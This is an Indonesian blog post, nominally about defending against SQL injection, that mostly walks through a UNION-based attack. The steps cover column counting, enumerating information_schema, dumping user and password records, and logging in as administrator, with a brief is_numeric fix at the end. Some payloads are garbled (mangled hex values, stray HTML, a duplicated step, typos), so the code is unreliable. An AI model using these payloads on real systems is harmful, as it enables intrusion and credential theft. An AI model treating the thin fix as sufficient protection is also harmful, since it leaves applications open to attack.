New..!! AhmadBj Blogs Was Reborn..!! Visit US..!!

Adsense

Menangkal serangan SQL Injection

1. Teknik serangan SQL Injection dimulai dengan mengetes suatu get_variable dengan menambahkan karakter single quote ( ' )

http://www.target.com/index.php?id=560'

Selanjutnya pada query sql yang ada pada script akan berubah menjadi


Code:

select * from 'tblBerita' where 'id' = 560' <--- div="" karakter="" petik="" satu.="" terdapat="">

Hal ini menyebabkan query error dan menampilkan pesan error-nya pada halaman website.

2. Dengan tanda error ini, selanjutnya sang attacker melanjutkan melakukan inject pada query sql ini dengan tujuan menampilkan informasi yang ada pada tabel user, admin atau nama tabel lain untuk mengetahui user dan password yang tersimpan dalam website.

HOW??? HOW??? Caranya bagaimana. Pada MYSQL versi 5, hal ini dapat dilakukan dengan memanfaatkan informasi yang terdapat pada database information_schema.

Kita lanjut dulu saja SQL Injectionnya.

Selanjutnya kita akan coba cari jumlah record yang ada pada tabel.

Kita tes apakah error atau tidak, seharusnya tidak.
Code:

select * from `tblBerita` where `id` = 560 order by 1

Maksud query ini, hasil select diurutkan berdasarkan pada colomn nomor 1.

Coba terus sampai tampil pesan error
Code:

Ini misal aja loh ya, di lapangan ntar jumlah angkanya bisa berbeda-beda. Ini menandakan bahawa field atau colomn yang ada pada tabel hanya ada 4.

3. Selanjutnya, lakukan union select
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4

Query pada web jadi seperti ini
Code:

select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4

Result aslinya tidak akan tampil, yang tampil malah angka-angka yang dijadikan union select. Kita cari angka mana yang tampil pada halaman website. Misal angka yang tampil pada halaman website angka 2.

4. Kita dapat menggunakan function2 sql pada url tersebut, contohnya version()
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4

Fungsi ini berguna untuk menampilkan versi mysql yang digunakan, jika versi mysql adalah versi 5. Kida dapat mulai melakukan inject untuk menampilkan informasi yang ada pada database information schema.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()

Query ini berfungsi untuk menampilkan isi dari table 'tables' yang ada pada database information_schema yang mana nama databasenya = database(), funsi database() akan menghasilkan nama database yang digunakan oleh website.

Setelah nama2 table diketahui, kita akan coba menampilkan nama2 colomn yang ada pada table. Misal nama table yang akan kita tampilkan isi kolomnya 'tbluser'
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah dulu kata 'tbluser' ke bentuk hexa, gunakan http://cyber4rt.com/~converter yang menyediakan jasa convert text ke hexa.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah kata 'tbluser' ke bentuk hexa.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = 0?6164A689

(ni hexa yang aku pake ngawur, hehe... ntar coba sendiri aja)

Setelah keluar nama2 colomn dari tabel 'tbluser', kita lanjutkan untuk menampilkan record dari tabel ini.

Misal colomn2 yang tampil : id, user, email, password
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0?3a, password), 3, 4 from tbluser

Kita tampilkan yang penting2 saja.

Selanjutnya isi tabel akan ditampilkan, dan setelah kita dapatkan user dan password admin. Kita cari tempat untuk melakukan login ke system dan Eng ing eng, akses kita menjadi Administrator pada website.

PENANGKAL

Teknik serangan yang panjang lebar ini ternyata hanya memerlukan sedikit tambahan code untuk menambalnya, benarkah??? ya.. Mari kita bahas.
Code:

$result = mysql_query ("select * from 'tblBerita' wheere 'id' = $id ");


Serangan ini dapat terjadi dikarenakan tidak ada filter pada get_variable, sehingga attacker dapat menambahkan query jahat pada query aslinya. hehehe, nilai yang dibutuhkan pada get_variable id hanya nilai numeric saja sehingga kita dapat melakukan pengecekan apakah nilainya angka valid atau tidak
Code:

if (!is_numeric($id))

$id = 0;

$result = mysql_query ("select * from 'tblBerita' where 'id' = $id ");

Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika nilai id tidak valid sebagai angka.


semoga bermanfaat ^_^

courtesy of blazterzt-error.blogspot.com

0 Response to "Menangkal serangan SQL Injection"

Post a Comment

untuk berkomentar:
1. setelah Anda membaca artikel ini anda wajib komentar
2. komentar anda sangat saya harapkan
3.komentar anda sangatlah penting demi kemajuan blog kita
4. komentar anda bagaikan berlian yang tak ternilai harganya
5. Cantumkan link blog anda apabila anda berkomentar, agar blog anda ikut naik trafic nya

Followers

Like Us On Facebook